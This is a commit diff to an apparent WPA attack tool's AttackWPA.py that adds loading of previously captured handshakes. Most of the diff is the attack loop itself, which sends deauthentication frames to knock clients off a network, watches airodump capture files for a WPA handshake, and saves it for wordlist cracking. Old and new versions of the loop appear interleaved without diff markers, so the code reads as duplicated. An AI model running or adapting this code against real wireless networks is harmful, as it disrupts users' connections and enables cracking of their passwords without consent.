Support loading previously captured handshakes
This commit is contained in:
kimocoder
149
py/AttackWPA.py
149
py/AttackWPA.py
@@ -46,75 +46,80 @@ class AttackWPA(Attack):
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self.clients = []
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handshake = None
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bssid = airodump_target.bssid
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essid = airodump_target.essid if airodump_target.essid_known else None
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handshake = self.load_handshake(bssid=bssid, essid=essid)
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timeout_timer = Timer(Configuration.wpa_attack_timeout)
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deauth_timer = Timer(Configuration.wpa_deauth_timeout)
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if handshake:
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Color.pl('\n\n{+} {G}successfully loaded handshake{W}')
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else:
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timeout_timer = Timer(Configuration.wpa_attack_timeout)
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deauth_timer = Timer(Configuration.wpa_deauth_timeout)
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while handshake is None and not timeout_timer.ended():
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step_timer = Timer(1)
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Color.clear_entire_line()
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Color.pattack("WPA",
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airodump_target,
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"Handshake capture",
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"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
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while handshake is None and not timeout_timer.ended():
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step_timer = Timer(1)
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Color.clear_entire_line()
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Color.pattack("WPA",
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airodump_target,
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"Handshake capture",
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"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
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# Find .cap file
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cap_files = airodump.find_files(endswith='.cap')
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if len(cap_files) == 0:
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# No cap files yet
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# Find .cap file
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cap_files = airodump.find_files(endswith='.cap')
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if len(cap_files) == 0:
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# No cap files yet
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time.sleep(step_timer.remaining())
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continue
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cap_file = cap_files[0]
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# Copy .cap file to temp for consistency
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temp_file = Configuration.temp('handshake.cap.bak')
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copy(cap_file, temp_file)
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# Check cap file in temp for Handshake
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bssid = airodump_target.bssid
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essid = airodump_target.essid if airodump_target.essid_known else None
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handshake = Handshake(temp_file, bssid=bssid, essid=essid)
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if handshake.has_handshake():
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# We got a handshake
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Color.pl('\n\n{+} {G}successfully captured handshake{W}')
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break
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# There is no handshake
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handshake = None
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# Delete copied .cap file in temp to save space
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os.remove(temp_file)
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# Look for new clients
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airodump_target = self.wait_for_target(airodump)
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for client in airodump_target.clients:
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if client.station not in self.clients:
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Color.clear_entire_line()
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Color.pattack("WPA",
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airodump_target,
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"Handshake capture",
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"Discovered new client: {G}%s{W}" % client.station)
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Color.pl("")
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self.clients.append(client.station)
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# Send deauth to a client or broadcast
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if deauth_timer.ended():
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self.deauth(airodump_target)
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# Restart timer
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deauth_timer = Timer(Configuration.wpa_deauth_timeout)
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# Sleep for at-most 1 second
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time.sleep(step_timer.remaining())
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continue
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cap_file = cap_files[0]
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continue # Handshake listen+deauth loop
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# Copy .cap file to temp for consistency
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temp_file = Configuration.temp('handshake.cap.bak')
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copy(cap_file, temp_file)
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if not handshake:
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# No handshake, attack failed.
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Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
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self.success = False
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return self.success
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# Check cap file in temp for Handshake
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bssid = airodump_target.bssid
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essid = airodump_target.essid if airodump_target.essid_known else None
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handshake = Handshake(temp_file, bssid=bssid, essid=essid)
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if handshake.has_handshake():
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# We got a handshake
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Color.pl('\n\n{+} {G}successfully captured handshake{W}')
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break
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# There is no handshake
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handshake = None
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# Delete copied .cap file in temp to save space
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os.remove(temp_file)
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# Look for new clients
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airodump_target = self.wait_for_target(airodump)
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for client in airodump_target.clients:
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if client.station not in self.clients:
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Color.clear_entire_line()
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Color.pattack("WPA",
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airodump_target,
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"Handshake capture",
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"Discovered new client: {G}%s{W}" % client.station)
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Color.pl("")
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self.clients.append(client.station)
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# Send deauth to a client or broadcast
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if deauth_timer.ended():
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self.deauth(airodump_target)
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# Restart timer
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deauth_timer = Timer(Configuration.wpa_deauth_timeout)
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# Sleep for at-most 1 second
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time.sleep(step_timer.remaining())
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continue # Handshake listen+deauth loop
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if not handshake:
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# No handshake, attack failed.
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Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
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self.success = False
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return self.success
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# Save copy of handshake to ./hs/
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self.save_handshake(handshake)
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# Save copy of handshake to ./hs/
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self.save_handshake(handshake)
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# Print analysis of handshake file
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Color.pl('\n{+} analysis of captured handshake file:')
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@@ -200,6 +205,24 @@ class AttackWPA(Attack):
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" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
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return None
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def load_handshake(self, bssid, essid):
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if not os.path.exists(Configuration.wpa_handshake_dir):
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return None
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if essid:
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essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid))
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else:
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essid_safe = '[a-zA-Z0-9]+'
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bssid_safe = re.escape(bssid.replace(':', '-'))
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date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}'
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get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date))
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for filename in os.listdir(Configuration.wpa_handshake_dir):
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cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
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if os.path.isfile(cap_filename) and re.match(get_filename, filename):
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return Handshake(capfile=cap_filename, bssid=bssid, essid=essid)
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return None
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def save_handshake(self, handshake):
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'''
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